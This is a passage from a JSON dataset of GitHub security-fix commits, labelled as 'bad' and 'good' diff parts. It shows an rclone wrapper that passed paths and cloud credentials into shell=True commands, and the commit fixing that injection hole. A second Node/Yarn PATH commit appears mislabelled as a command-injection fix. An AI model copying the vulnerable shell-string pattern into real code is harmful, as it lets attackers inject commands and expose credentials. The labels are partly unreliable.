credentials)"]}, {"diff": "\n \n def mkdir(self, data, path):\n credentials = self._formatCredentials(data, name='current')\n-\n- command = (\n- '{credentials} '\n- 'rclone touch current:{path}/.keep'\n- ).format(\n- credentials=credentials,\n- path=path,\n- )\n+ command = [\n+ 'rclone',\n+ 'touch',\n+ 'current:{}/.keep'.format(path),\n+ ]\n \n try:\n- result = self._execute(command)\n+ result = self._execute(command, credentials)\n return {\n 'message': 'Success',\n }\n", "add": 6, "remove": 9, "filename": "/src/backend/api/utils/rclone_connection.py", "badparts": [" command = (", " '{credentials} '", " 'rclone touch current:{path}/.keep'", " ).format(", " credentials=credentials,", " path=path,", " )", " result = self._execute(command)"], "goodparts": [" command = [", " 'rclone',", " 'touch',", " 'current:{}/.keep'.format(path),", " ]", " result = self._execute(command, credentials)"]}, {"diff": "\n \n \n def copy(self, src_data, src_path, dst_data, dst_path, job_id=None):\n- credentials = ''\n+ credentials = {}\n \n if src_data is None: # Local\n src = src_path\n else:\n- credentials += self._formatCredentials(src_data, name='src')\n+ credentials.update(self._formatCredentials(src_data, name='src'))\n src = 'src:{}'.format(src_path)\n \n if dst_data is None: # Local\n dst = dst_path\n else:\n- credentials += self._formatCredentials(dst_data, name='dst')\n+ credentials.update(self._formatCredentials(dst_data, name='dst'))\n dst = 'dst:{}'.format(dst_path)\n \n+ command = [\n+ 'rclone',\n+ 'copy',\n+ src,\n+ dst,\n+ '--progress',\n+ '--stats', '2s',\n+ ]\n \n- command = (\n- '{credentials} '\n- 'rclone copy {src} {dst} '\n- '--progress '\n- '--stats 2s '\n- ).format(\n- credentials=credentials,\n- src=src,\n- dst=dst,\n+ bash_command = \"{} {}\".format(\n+ ' '.join(\"{}='{}'\".format(key, value) for key, value in credentials.items()),\n+ ' '.join(command),\n )\n \n- logging.info(sanitize(command))\n+ logging.info(sanitize(bash_command))\n \n if job_id is None:\n job_id = self._get_next_job_id()\n", "add": 15, "remove": 13, "filename": "/src/backend/api/utils/rclone_connection.py", "badparts": [" credentials = ''", " credentials += self._formatCredentials(src_data, name='src')", " credentials += self._formatCredentials(dst_data, name='dst')", " command = (", " '{credentials} '", " 'rclone copy {src} {dst} '", " '--progress '", " '--stats 2s '", " ).format(", " credentials=credentials,", " src=src,", " dst=dst,", " logging.info(sanitize(command))"], "goodparts": [" credentials = {}", " credentials.update(self._formatCredentials(src_data, name='src'))", " credentials.update(self._formatCredentials(dst_data, name='dst'))", " command = [", " 'rclone',", " 'copy',", " src,", " dst,", " '--progress',", " '--stats', '2s',", " ]", " bash_command = \"{} {}\".format(", " ' '.join(\"{}='{}'\".format(key, value) for key, value in credentials.items()),", " ' '.join(command),", " logging.info(sanitize(bash_command))"]}, {"diff": "\n self._stop_events[job_id] = threading.Event()\n \n try:\n- self._execute_interactive(command, job_id)\n+ self._execute_interactive(command, credentials, job_id)\n except subprocess.CalledProcessError as e:\n raise RcloneException(sanitize(str(e)))\n \n", "add": 1, "remove": 1, "filename": "/src/backend/api/utils/rclone_connection.py", "badparts": [" self._execute_interactive(command, job_id)"], "goodparts": [" self._execute_interactive(command, credentials, job_id)"]}, {"diff": "\n \n prefix = \"RCLONE_CONFIG_{}\".format(name.upper())\n \n- credentials = ''\n- credentials += \"{}_TYPE='{}' \".format(prefix, data.type)\n+ credentials = {}\n+ credentials['{}_TYPE'.format(prefix)] = data.type\n \n def _addCredential(credentials, env_key, data_key):\n value = getattr(data, data_key, None)\n if value is not None:\n- credentials += \"{}='{}' \".format(env_key, value)\n+ credentials[env_key] = value\n return credentials\n \n \n", "add": 3, "remove": 3, "filename": "/src/backend/api/utils/rclone_connection.py", "badparts": [" credentials = ''", " credentials += \"{}_TYPE='{}' \".format(prefix, data.type)", " credentials += \"{}='{}' \".format(env_key, value)"], "goodparts": [" credentials = {}", " credentials['{}_TYPE'.format(prefix)] = data.type", " credentials[env_key] = value"]}, {"diff": "\n return job_id in self._job_status\n \n \n- def _execute(self, command):\n- byteOutput = subprocess.check_output(command, shell=True)\n+ def _execute(self, command, env={}):\n+ full_env = os.environ.copy()\n+ full_env.update(env)\n+ byteOutput = subprocess.check_output(command, env=full_env)\n output = byteOutput.decode('UTF-8').rstrip()\n return output\n \n \n- def _execute_interactive(self, command, job_id):\n+ def _execute_interactive(self, command, env, job_id):\n thread = threading.Thread(target=self.__execute_interactive, kwargs={\n 'command': command,\n+ 'env': env,\n 'job_id': job_id,\n })\n thread.daemon = True\n thread.start()\n \n \n- def __execute_interactive(self, command, job_id):\n+ def __execute_interactive(self, command, env={}, job_id=0):\n stop_event = self._stop_events[job_id]\n+ full_env = os.environ.copy()\n+ full_env.update(env)\n \n process = subprocess.Popen(\n command,\n+ env=full_env,\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n- shell=True,\n )\n \n reset_sequence1 = '\\x1b[2K\\x1b[0' # + 'G'\n", "add": 10, "remove": 5, "filename": "/src/backend/api/utils/rclone_connection.py", "badparts": [" def _execute(self, command):", " byteOutput = subprocess.check_output(command, shell=True)", " def _execute_interactive(self, command, job_id):", " def __execute_interactive(self, command, job_id):", " shell=True,"], "goodparts": [" def _execute(self, command, env={}):", " full_env = os.environ.copy()", " full_env.update(env)", " byteOutput = subprocess.check_output(command, env=full_env)", " def _execute_interactive(self, command, env, job_id):", " 'env': env,", " def __execute_interactive(self, command, env={}, job_id=0):", " full_env = os.environ.copy()", " full_env.update(env)", " env=full_env,"]}], "source": "\nfrom collections import defaultdict import functools import json import logging import re import subprocess import threading import time class RcloneConnection: def __init__(self): self._job_status=defaultdict(functools.partial(defaultdict, str)) self._job_text=defaultdict(str) self._job_error_text=defaultdict(str) self._job_percent=defaultdict(int) self._job_exitstatus={} self._stop_events={} self._latest_job_id=0 def verify(self, data): credentials=self._formatCredentials(data, name='current') command='{} rclone lsjson current:'.format(credentials) try: result=self._execute(command) return{ 'result': True, 'message': 'Success', } except subprocess.CalledProcessError as e: returncode=e.returncode return{ 'result': False, 'message': 'Exit status{}'.format(returncode), } def ls(self, data, path): credentials=self._formatCredentials(data, name='current') command=( '{credentials} ' 'rclone lsjson current:{path}' ).format( credentials=credentials, path=path, ) try: result=self._execute(command) result=json.loads(result) return result except subprocess.CalledProcessError as e: raise RcloneException(sanitize(str(e))) def mkdir(self, data, path): credentials=self._formatCredentials(data, name='current') command=( '{credentials} ' 'rclone touch current:{path}/.keep' ).format( credentials=credentials, path=path, ) try: result=self._execute(command) return{ 'message': 'Success', } except subprocess.CalledProcessError as e: raise RcloneException(sanitize(str(e))) def copy(self, src_data, src_path, dst_data, dst_path, job_id=None): credentials='' if src_data is None: src=src_path else: credentials +=self._formatCredentials(src_data, name='src') src='src:{}'.format(src_path) if dst_data is None: dst=dst_path else: credentials +=self._formatCredentials(dst_data, name='dst') dst='dst:{}'.format(dst_path) command=( '{credentials} ' 'rclone copy{src}{dst} ' '--progress ' '--stats 2s ' ).format( credentials=credentials, src=src, dst=dst, ) logging.info(sanitize(command)) if job_id is None: job_id=self._get_next_job_id() else: if self._job_id_exists(job_id): raise ValueError('rclone copy job with ID{} already exists'.fromat(job_id)) self._stop_events[job_id]=threading.Event() try: self._execute_interactive(command, job_id) except subprocess.CalledProcessError as e: raise RcloneException(sanitize(str(e))) return job_id def copy_text(self, job_id): return self._job_text[job_id] def copy_error_text(self, job_id): return self._job_error_text[job_id] def copy_percent(self, job_id): return self._job_percent[job_id] def copy_stop(self, job_id): self._stop_events[job_id].set() def copy_finished(self, job_id): return self._stop_events[job_id].is_set() def copy_exitstatus(self, job_id): return self._job_exitstatus.get(job_id, -1) def _formatCredentials(self, data, name): \"\"\" Credentials are of the form RCLONE_CONFIG_CURRENT_TYPE=s3 ^ ^ ^ ^ [mandatory ][name ][key][value] \"\"\" prefix=\"RCLONE_CONFIG_{}\".format(name.upper()) credentials='' credentials +=\"{}_TYPE='{}' \".format(prefix, data.type) def _addCredential(credentials, env_key, data_key): value=getattr(data, data_key, None) if value is not None: credentials +=\"{}='{}' \".format(env_key, value) return credentials if data.type=='s3': credentials=_addCredential(credentials, '{}_REGION'.format(prefix), 's3_region' ) credentials=_addCredential(credentials, '{}_ACCESS_KEY_ID'.format(prefix), 's3_access_key_id' ) credentials=_addCredential(credentials, '{}_SECRET_ACCESS_KEY'.format(prefix), 's3_secret_access_key' ) credentials=_addCredential(credentials, '{}_ENDPOINT'.format(prefix), 's3_endpoint' ) credentials=_addCredential(credentials, '{}_V2_AUTH'.format(prefix), 's3_v2_auth' ) elif data.type=='azureblob': credentials=_addCredential(credentials, '{}_ACCOUNT'.format(prefix), 'azure_account' ) credentials=_addCredential(credentials, '{}_KEY'.format(prefix), 'azure_key' ) elif data.type=='swift': credentials=_addCredential(credentials, '{}_USER'.format(prefix), 'swift_user' ) credentials=_addCredential(credentials, '{}_KEY'.format(prefix), 'swift_key' ) credentials=_addCredential(credentials, '{}_AUTH'.format(prefix), 'swift_auth' ) credentials=_addCredential(credentials, '{}_TENANT'.format(prefix), 'swift_tenant' ) elif data.type=='google cloud storage': credentials=_addCredential(credentials, '{}_CLIENT_ID'.format(prefix), 'gcp_client_id' ) credentials=_addCredential(credentials, '{}_SERVICE_ACCOUNT_CREDENTIALS'.format(prefix), 'gcp_service_account_credentials' ) credentials=_addCredential(credentials, '{}_PROJECT_NUMBER'.format(prefix), 'gcp_project_number' ) credentials=_addCredential(credentials, '{}_OBJECT_ACL'.format(prefix), 'gcp_object_acl' ) credentials=_addCredential(credentials, '{}_BUCKET_ACL'.format(prefix), 'gcp_bucket_acl' ) else: logging.error(\"Connection type unknown:{}\".format(data.type)) return credentials def _get_next_job_id(self): self._latest_job_id +=1 while self._job_id_exists(self._latest_job_id): self._latest_job_id +=1 return self._latest_job_id def _job_id_exists(self, job_id): return job_id in self._job_status def _execute(self, command): byteOutput=subprocess.check_output(command, shell=True) output=byteOutput.decode('UTF-8').rstrip() return output def _execute_interactive(self, command, job_id): thread=threading.Thread(target=self.__execute_interactive, kwargs={ 'command': command, 'job_id': job_id, }) thread.daemon=True thread.start() def __execute_interactive(self, command, job_id): stop_event=self._stop_events[job_id] process=subprocess.Popen( command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, ) reset_sequence1='\\x1b[2K\\x1b[0' reset_sequence2='\\x1b[2K\\x1b[A\\x1b[2K\\x1b[A\\x1b[2K\\x1b[A\\x1b[2K\\x1b[A\\x1b[2K\\x1b[A\\x1b[2K\\x1b[A\\x1b[2K\\x1b[0' while not stop_event.is_set(): line=process.stdout.readline().decode('utf-8') if len(line)==0: if process.poll() is not None: stop_event.set() else: time.sleep(0.5) continue line=line.strip() q1=line.find(reset_sequence1) if q1 !=-1: line=line[q1 +len(reset_sequence1):] q2=line.find(reset_sequence2) if q2 !=-1: line=line[q2 +len(reset_sequence1):] line=line.replace(reset_sequence1, '') line=line.replace(reset_sequence2, '') match=re.search(r'(ERROR.*)', line) if match is not None: error=match.groups()[0] logging.error(error) self._job_error_text[job_id] +=error self._job_error_text[job_id] +='\\n' continue match=re.search(r'([A-Za-z]+):\\s*(.*)', line) if match is None: logging.info(\"No match in{}\".format(line)) time.sleep(0.5) continue key, value=match.groups() self._job_status[job_id][key]=value self.__process_status(job_id) self._job_percent[job_id]=100 self.__process_status(job_id) exitstatus=process.poll() self._job_exitstatus[job_id]=exitstatus for _ in range(1000): line=process.stderr.readline().decode('utf-8') if len(line)==0: break line=line.strip() self._job_error_text[job_id] +=line self._job_error_text[job_id] +='\\n' logging.info(\"Copy process exited with exit status{}\".format(exitstatus)) stop_event.set() def __process_status(self, job_id): self.__process_text(job_id) self.__process_percent(job_id) def __process_text(self, job_id): headers=[ 'GTransferred', 'Errors', 'Checks', 'Transferred', 'Elapsed time', 'Transferring', ] status=self._job_status[job_id] text='\\n'.join( '{:>12}:{}'.format(header, status[header]) for header in headers ) self._job_text[job_id]=text def __process_percent(self, job_id): status=self._job_status[job_id] match=re.search(r'(\\d+)\\%', status['GTransferred']) if match is None: self._job_percent[job_id]=-1 else: self._job_percent[job_id]=match[1] def sanitize(string): sanitizations_regs=[ (r\"(RCLONE_CONFIG_\\S*_ACCESS_KEY_ID=')(\\S*)(\\S\\S\\S\\S')\", r\"\\1***\\3\"), (r\"(RCLONE_CONFIG_\\S*_SECRET_ACCESS_KEY=')(\\S*)(')\", r\"\\1***\\3\"), (r\"(RCLONE_CONFIG_\\S*_KEY=')(\\S*)(')\", r\"\\1***\\3\"), (r\"(RCLONE_CONFIG_\\S*_KEY=')(\\S*)(')\", r\"\\1***\\3\"), (r\"(RCLONE_CONFIG_\\S*_CLIENT_ID=')(\\S*)(\\S\\S\\S\\S')\", r\"\\1***\\3\"), (r\"(RCLONE_CONFIG_\\S*_SERVICE_ACCOUNT_CREDENTIALS=')([^']*)(')\", r\"\\1{***}\\3\"), ] for regex, replace in sanitizations_regs: string=re.sub(regex, replace, string) return string class RcloneException(Exception): pass def main(): import time import os class CloudConnection: pass data=CloudConnection() data.__dict__={ 'type': 's3', 'region': os.environ['MOTUZ_REGION'], 'access_key_id': os.environ['MOTUZ_ACCESS_KEY_ID'], 'secret_access_key': os.environ['MOTUZ_SECRET_ACCESS_KEY'], } connection=RcloneConnection() job_id=123 import random connection.copy( src_data=None, src_path='/tmp/motuz/mb_blob.bin', dst_data=data, dst_path='/fh-ctr-mofuz-test/hello/world/{}'.format(random.randint(10, 10000)), job_id=job_id ) while not connection.copy_finished(job_id): print(connection.copy_percent(job_id)) time.sleep(0.1) if __name__=='__main__': main() ", "sourceWithComments": "from collections import defaultdict\nimport functools\nimport json\nimport logging\nimport re\nimport subprocess\nimport threading\nimport time\n\nclass RcloneConnection:\n def __init__(self):\n self._job_status = defaultdict(functools.partial(defaultdict, str)) # Mapping from id to status dict\n\n self._job_text = defaultdict(str)\n self._job_error_text = defaultdict(str)\n self._job_percent = defaultdict(int)\n self._job_exitstatus = {}\n\n self._stop_events = {} # Mapping from id to threading.Event\n self._latest_job_id = 0\n\n\n def verify(self, data):\n credentials = self._formatCredentials(data, name='current')\n command = '{} rclone lsjson current:'.format(credentials)\n\n try:\n result = self._execute(command)\n return {\n 'result': True,\n 'message': 'Success',\n }\n except subprocess.CalledProcessError as e:\n returncode = e.returncode\n return {\n 'result': False,\n 'message': 'Exit status {}'.format(returncode),\n }\n\n\n def ls(self, data, path):\n credentials = self._formatCredentials(data, name='current')\n\n command = (\n '{credentials} '\n 'rclone lsjson current:{path}'\n ).format(\n credentials=credentials,\n path=path,\n )\n\n try:\n result = self._execute(command)\n result = json.loads(result)\n return result\n except subprocess.CalledProcessError as e:\n raise RcloneException(sanitize(str(e)))\n\n\n\n\n def mkdir(self, data, path):\n credentials = self._formatCredentials(data, name='current')\n\n command = (\n '{credentials} '\n 'rclone touch current:{path}/.keep'\n ).format(\n credentials=credentials,\n path=path,\n )\n\n try:\n result = self._execute(command)\n return {\n 'message': 'Success',\n }\n except subprocess.CalledProcessError as e:\n raise RcloneException(sanitize(str(e)))\n\n\n\n def copy(self, src_data, src_path, dst_data, dst_path, job_id=None):\n credentials = ''\n\n if src_data is None: # Local\n src = src_path\n else:\n credentials += self._formatCredentials(src_data, name='src')\n src = 'src:{}'.format(src_path)\n\n if dst_data is None: # Local\n dst = dst_path\n else:\n credentials += self._formatCredentials(dst_data, name='dst')\n dst = 'dst:{}'.format(dst_path)\n\n\n command = (\n '{credentials} '\n 'rclone copy {src} {dst} '\n '--progress '\n '--stats 2s '\n ).format(\n credentials=credentials,\n src=src,\n dst=dst,\n )\n\n logging.info(sanitize(command))\n\n if job_id is None:\n job_id = self._get_next_job_id()\n else:\n if self._job_id_exists(job_id):\n raise ValueError('rclone copy job with ID {} already exists'.fromat(job_id))\n\n self._stop_events[job_id] = threading.Event()\n\n try:\n self._execute_interactive(command, job_id)\n except subprocess.CalledProcessError as e:\n raise RcloneException(sanitize(str(e)))\n\n return job_id\n\n\n def copy_text(self, job_id):\n return self._job_text[job_id]\n\n def copy_error_text(self, job_id):\n return self._job_error_text[job_id]\n\n def copy_percent(self, job_id):\n return self._job_percent[job_id]\n\n def copy_stop(self, job_id):\n self._stop_events[job_id].set()\n\n def copy_finished(self, job_id):\n return self._stop_events[job_id].is_set()\n\n def copy_exitstatus(self, job_id):\n return self._job_exitstatus.get(job_id, -1)\n\n\n def _formatCredentials(self, data, name):\n \"\"\"\n Credentials are of the form\n RCLONE_CONFIG_CURRENT_TYPE=s3\n ^ ^ ^ ^\n [mandatory ][name ][key][value]\n \"\"\"\n\n prefix = \"RCLONE_CONFIG_{}\".format(name.upper())\n\n credentials = ''\n credentials += \"{}_TYPE='{}' \".format(prefix, data.type)\n\n def _addCredential(credentials, env_key, data_key):\n value = getattr(data, data_key, None)\n if value is not None:\n credentials += \"{}='{}' \".format(env_key, value)\n return credentials\n\n\n if data.type == 's3':\n credentials = _addCredential(credentials,\n '{}_REGION'.format(prefix),\n 's3_region'\n )\n credentials = _addCredential(credentials,\n '{}_ACCESS_KEY_ID'.format(prefix),\n 's3_access_key_id'\n )\n credentials = _addCredential(credentials,\n '{}_SECRET_ACCESS_KEY'.format(prefix),\n 's3_secret_access_key'\n )\n\n credentials = _addCredential(credentials,\n '{}_ENDPOINT'.format(prefix),\n 's3_endpoint'\n )\n credentials = _addCredential(credentials,\n '{}_V2_AUTH'.format(prefix),\n 's3_v2_auth'\n )\n\n elif data.type == 'azureblob':\n credentials = _addCredential(credentials,\n '{}_ACCOUNT'.format(prefix),\n 'azure_account'\n )\n credentials = _addCredential(credentials,\n '{}_KEY'.format(prefix),\n 'azure_key'\n )\n\n elif data.type == 'swift':\n credentials = _addCredential(credentials,\n '{}_USER'.format(prefix),\n 'swift_user'\n )\n credentials = _addCredential(credentials,\n '{}_KEY'.format(prefix),\n 'swift_key'\n )\n credentials = _addCredential(credentials,\n '{}_AUTH'.format(prefix),\n 'swift_auth'\n )\n credentials = _addCredential(credentials,\n '{}_TENANT'.format(prefix),\n 'swift_tenant'\n )\n\n elif data.type == 'google cloud storage':\n credentials = _addCredential(credentials,\n '{}_CLIENT_ID'.format(prefix),\n 'gcp_client_id'\n )\n credentials = _addCredential(credentials,\n '{}_SERVICE_ACCOUNT_CREDENTIALS'.format(prefix),\n 'gcp_service_account_credentials'\n )\n credentials = _addCredential(credentials,\n '{}_PROJECT_NUMBER'.format(prefix),\n 'gcp_project_number'\n )\n credentials = _addCredential(credentials,\n '{}_OBJECT_ACL'.format(prefix),\n 'gcp_object_acl'\n )\n credentials = _addCredential(credentials,\n '{}_BUCKET_ACL'.format(prefix),\n 'gcp_bucket_acl'\n )\n\n else:\n logging.error(\"Connection type unknown: {}\".format(data.type))\n\n return credentials\n\n\n def _get_next_job_id(self):\n self._latest_job_id += 1\n while self._job_id_exists(self._latest_job_id):\n self._latest_job_id += 1\n return self._latest_job_id\n\n def _job_id_exists(self, job_id):\n return job_id in self._job_status\n\n\n def _execute(self, command):\n byteOutput = subprocess.check_output(command, shell=True)\n output = byteOutput.decode('UTF-8').rstrip()\n return output\n\n\n def _execute_interactive(self, command, job_id):\n thread = threading.Thread(target=self.__execute_interactive, kwargs={\n 'command': command,\n 'job_id': job_id,\n })\n thread.daemon = True\n thread.start()\n\n\n def __execute_interactive(self, command, job_id):\n stop_event = self._stop_events[job_id]\n\n process = subprocess.Popen(\n command,\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n shell=True,\n )\n\n reset_sequence1 = '\\x1b[2K\\x1b[0' # + 'G'\n reset_sequence2 = '\\x1b[2K\\x1b[A\\x1b[2K\\x1b[A\\x1b[2K\\x1b[A\\x1b[2K\\x1b[A\\x1b[2K\\x1b[A\\x1b[2K\\x1b[A\\x1b[2K\\x1b[0' # + 'G'\n\n while not stop_event.is_set():\n line = process.stdout.readline().decode('utf-8')\n\n if len(line) == 0:\n if process.poll() is not None:\n stop_event.set()\n else:\n time.sleep(0.5)\n continue\n\n line = line.strip()\n\n q1 = line.find(reset_sequence1)\n if q1 != -1:\n line = line[q1 + len(reset_sequence1):]\n\n q2 = line.find(reset_sequence2)\n if q2 != -1:\n line = line[q2 + len(reset_sequence1):]\n\n line = line.replace(reset_sequence1, '')\n line = line.replace(reset_sequence2, '')\n\n match = re.search(r'(ERROR.*)', line)\n if match is not None:\n error = match.groups()[0]\n logging.error(error)\n self._job_error_text[job_id] += error\n self._job_error_text[job_id] += '\\n'\n continue\n\n match = re.search(r'([A-Za-z ]+):\\s*(.*)', line)\n if match is None:\n logging.info(\"No match in {}\".format(line))\n time.sleep(0.5)\n continue\n\n key, value = match.groups()\n self._job_status[job_id][key] = value\n self.__process_status(job_id)\n\n self._job_percent[job_id] = 100\n self.__process_status(job_id)\n\n exitstatus = process.poll()\n self._job_exitstatus[job_id] = exitstatus\n\n for _ in range(1000):\n line = process.stderr.readline().decode('utf-8')\n if len(line) == 0:\n break\n line = line.strip()\n self._job_error_text[job_id] += line\n self._job_error_text[job_id] += '\\n'\n\n logging.info(\"Copy process exited with exit status {}\".format(exitstatus))\n stop_event.set() # Just in case\n\n\n def __process_status(self, job_id):\n self.__process_text(job_id)\n self.__process_percent(job_id)\n\n\n def __process_text(self, job_id):\n headers = [\n 'GTransferred',\n 'Errors',\n 'Checks',\n 'Transferred',\n 'Elapsed time',\n 'Transferring',\n ]\n\n status = self._job_status[job_id]\n\n text = '\\n'.join(\n '{:>12}: {}'.format(header, status[header])\n for header in headers\n )\n self._job_text[job_id] = text\n\n\n def __process_percent(self, job_id):\n status = self._job_status[job_id]\n\n match = re.search(r'(\\d+)\\%', status['GTransferred'])\n if match is None:\n self._job_percent[job_id] = -1\n else:\n self._job_percent[job_id] = match[1]\n\n\n\ndef sanitize(string):\n sanitizations_regs = [\n # s3\n (r\"(RCLONE_CONFIG_\\S*_ACCESS_KEY_ID=')(\\S*)(\\S\\S\\S\\S')\", r\"\\1***\\3\"),\n (r\"(RCLONE_CONFIG_\\S*_SECRET_ACCESS_KEY=')(\\S*)(')\", r\"\\1***\\3\"),\n\n # Azure\n (r\"(RCLONE_CONFIG_\\S*_KEY=')(\\S*)(')\", r\"\\1***\\3\"),\n\n # Swift\n (r\"(RCLONE_CONFIG_\\S*_KEY=')(\\S*)(')\", r\"\\1***\\3\"),\n\n # GCP\n (r\"(RCLONE_CONFIG_\\S*_CLIENT_ID=')(\\S*)(\\S\\S\\S\\S')\", r\"\\1***\\3\"),\n (r\"(RCLONE_CONFIG_\\S*_SERVICE_ACCOUNT_CREDENTIALS=')([^']*)(')\", r\"\\1{***}\\3\"),\n ]\n\n for regex, replace in sanitizations_regs:\n string = re.sub(regex, replace, string)\n\n return string\n\n\n\nclass RcloneException(Exception):\n pass\n\n\ndef main():\n import time\n import os\n\n class CloudConnection:\n pass\n\n data = CloudConnection()\n data.__dict__ = {\n 'type': 's3',\n 'region': os.environ['MOTUZ_REGION'],\n 'access_key_id': os.environ['MOTUZ_ACCESS_KEY_ID'],\n 'secret_access_key': os.environ['MOTUZ_SECRET_ACCESS_KEY'],\n }\n\n connection = RcloneConnection()\n\n # result = connection.ls('/fh-ctr-mofuz-test/hello/world')\n job_id = 123\n import random\n connection.copy(\n src_data=None, # Local\n src_path='/tmp/motuz/mb_blob.bin',\n dst_data=data,\n dst_path='/fh-ctr-mofuz-test/hello/world/{}'.format(random.randint(10, 10000)),\n job_id=job_id\n )\n\n\n while not connection.copy_finished(job_id):\n print(connection.copy_percent(job_id))\n time.sleep(0.1)\n\n\n\nif __name__ == '__main__':\n main()\n"}}, "msg": "Fixed shell injection issue (#102)\n\n* Providing credentials as env variables now\r\n\r\n* Logging the command to the logging for debugging as well\r\n\r\n* Removed shell injection from ls\r\n\r\n* Removed shell injection possibility from copy as well"}}, "https://github.com/fakeNetflix/twitter-repo-pants": {"b3683453b29eba54aca6d04cd8a717429257c0fc": {"url": "https://api.github.com/repos/fakeNetflix/twitter-repo-pants/commits/b3683453b29eba54aca6d04cd8a717429257c0fc", "html_url": "https://github.com/fakeNetflix/twitter-repo-pants/commit/b3683453b29eba54aca6d04cd8a717429257c0fc", "message": "Correctly inject Yarn into the Node path when it is in use (#4455)\n\n### Problem\r\n\r\nDespite being correctly downloaded, yarn was not always being correctly injected into the path of running commands. This was not detected due to insufficient test coverage.\r\n\r\n### Solution\r\n\r\nAdd a bunch of test coverage, and fix the injection.\r\n\r\n### Result\r\n\r\nYarn will properly be injected onto the path. Fixes #4426.", "sha": "b3683453b29eba54aca6d04cd8a717429257c0fc", "keyword": "command injection correct", "diff": "diff --git a/contrib/node/src/python/pants/contrib/node/subsystems/node_distribution.py b/contrib/node/src/python/pants/contrib/node/subsystems/node_distribution.py\nindex cb7a2c6ce..cdda3aaf8 100644\n--- a/contrib/node/src/python/pants/contrib/node/subsystems/node_distribution.py\n+++ b/contrib/node/src/python/pants/contrib/node/subsystems/node_distribution.py\n@@ -14,8 +14,7 @@\n from pants.binaries.binary_util import BinaryUtil\n from pants.fs.archive import TGZ\n from pants.subsystem.subsystem import Subsystem\n-from pants.util.contextutil import temporary_dir\n-from pants.util.memo import memoized_property\n+from pants.util.memo import memoized_method\n \n \n logger = logging.getLogger(__name__)\n@@ -78,9 +77,9 @@ def _normalize_version(cls, version):\n # 'X.Y.Z'.\n return version if version.startswith('v') else 'v' + version\n \n- def __init__(self, binary_util, relpath, version, package_manager, yarnpkg_version):\n+ def __init__(self, binary_util, supportdir, version, package_manager, yarnpkg_version):\n self._binary_util = binary_util\n- self._relpath = relpath\n+ self._supportdir = supportdir\n self._version = self._normalize_version(version)\n self.package_manager = self.validate_package_manager(package_manager=package_manager)\n self.yarnpkg_version = self._normalize_version(version=yarnpkg_version)\n@@ -96,46 +95,42 @@ def version(self):\n \"\"\"\n return self._version\n \n- def get_binary_path_from_tgz(self, supportdir, version, filename, inpackage_path):\n+ def unpack_package(self, supportdir, version, filename):\n tarball_filepath = self._binary_util.select_binary(\n supportdir=supportdir, version=version, name=filename)\n logger.debug('Tarball for %s(%s): %s', supportdir, version, tarball_filepath)\n work_dir = os.path.dirname(tarball_filepath)\n- unpacked_dir = os.path.join(work_dir, 'unpacked')\n- if not os.path.exists(unpacked_dir):\n- with temporary_dir(root_dir=work_dir) as tmp_dist:\n- TGZ.extract(tarball_filepath, tmp_dist)\n- os.rename(tmp_dist, unpacked_dir)\n- binary_path = os.path.join(unpacked_dir, inpackage_path)\n- return binary_path\n-\n- @memoized_property\n- def path(self):\n- \"\"\"Returns the root path of this node distribution.\n-\n- :returns: The Node distribution root path.\n- :rtype: string\n- \"\"\"\n- node_path = self.get_binary_path_from_tgz(\n- supportdir=self._relpath, version=self.version, filename='node.tar.gz',\n- inpackage_path='node')\n- logger.debug('Node path: %s', node_path)\n- return node_path\n+ TGZ.extract(tarball_filepath, work_dir)\n+ return work_dir\n \n- @memoized_property\n- def yarnpkg_path(self):\n- \"\"\"Returns the root path of yarnpkg distribution.\n+ @memoized_method\n+ def install_node(self):\n+ \"\"\"Install the Node distribution from pants support binaries.\n \n- :returns: The yarnpkg root path.\n+ :returns: The Node distribution bin path.\n+ :rtype: string\n+ \"\"\"\n+ node_package_path = self.unpack_package(\n+ supportdir=self._supportdir, version=self.version, filename='node.tar.gz')\n+ # Todo: https://github.com/pantsbuild/pants/issues/4431\n+ # This line depends on repacked node distribution.\n+ # Should change it from 'node/bin' to 'dist/bin'\n+ node_bin_path = os.path.join(node_package_path, 'node', 'bin')\n+ return node_bin_path\n+\n+ @memoized_method\n+ def install_yarnpkg(self):\n+ \"\"\"Install the Yarnpkg distribution from pants support binaries.\n+\n+ :returns: The Yarnpkg distribution bin path.\n :rtype: string\n \"\"\"\n- yarnpkg_path = self.get_binary_path_from_tgz(\n- supportdir='bin/yarnpkg', version=self.yarnpkg_version, filename='yarnpkg.tar.gz',\n- inpackage_path='dist')\n- logger.debug('Yarnpkg path: %s', yarnpkg_path)\n- return yarnpkg_path\n+ yarnpkg_package_path = self.unpack_package(\n+ supportdir='bin/yarnpkg', version=self.yarnpkg_version, filename='yarnpkg.tar.gz')\n+ yarnpkg_bin_path = os.path.join(yarnpkg_package_path, 'dist', 'bin')\n+ return yarnpkg_bin_path\n \n- class Command(namedtuple('Command', ['bin_dir_path', 'executable', 'args'])):\n+ class Command(namedtuple('Command', ['executable', 'args', 'extra_paths'])):\n \"\"\"Describes a command to be run using a Node distribution.\"\"\"\n \n @property\n@@ -145,7 +140,7 @@ def cmd(self):\n :returns: The full command line used to spawn this command as a list of strings.\n :rtype: list\n \"\"\"\n- return [os.path.join(self.bin_dir_path, self.executable)] + self.args\n+ return [self.executable] + (self.args or [])\n \n def _prepare_env(self, kwargs):\n \"\"\"Returns a modifed copy of kwargs['env'], and a copy of kwargs with 'env' removed.\n@@ -159,8 +154,7 @@ def _prepare_env(self, kwargs):\n \"\"\"\n kwargs = kwargs.copy()\n env = kwargs.pop('env', os.environ).copy()\n- env['PATH'] = (self.bin_dir_path + os.path.pathsep + env['PATH']\n- if env.get('PATH', '') else self.bin_dir_path)\n+ env['PATH'] = os.path.pathsep.join(self.extra_paths + [env.get('PATH', '')])\n return env, kwargs\n \n def run(self, **kwargs):\n@@ -196,7 +190,10 @@ def node_command(self, args=None):\n \"\"\"\n # NB: We explicitly allow no args for the `node` command unlike the `npm` command since running\n # `node` with no arguments is useful, it launches a REPL.\n- return self._create_command('node', args)\n+ node_bin_path = self.install_node()\n+ return self.Command(\n+ executable=os.path.join(node_bin_path, 'node'), args=args,\n+ extra_paths=[node_bin_path])\n \n def npm_command(self, args):\n \"\"\"Creates a command that can run `npm`, passing the given args to it.\n@@ -205,7 +202,10 @@ def npm_command(self, args):\n :returns: An `npm` command that can be run later.\n :rtype: :class:`NodeDistribution.Command`\n 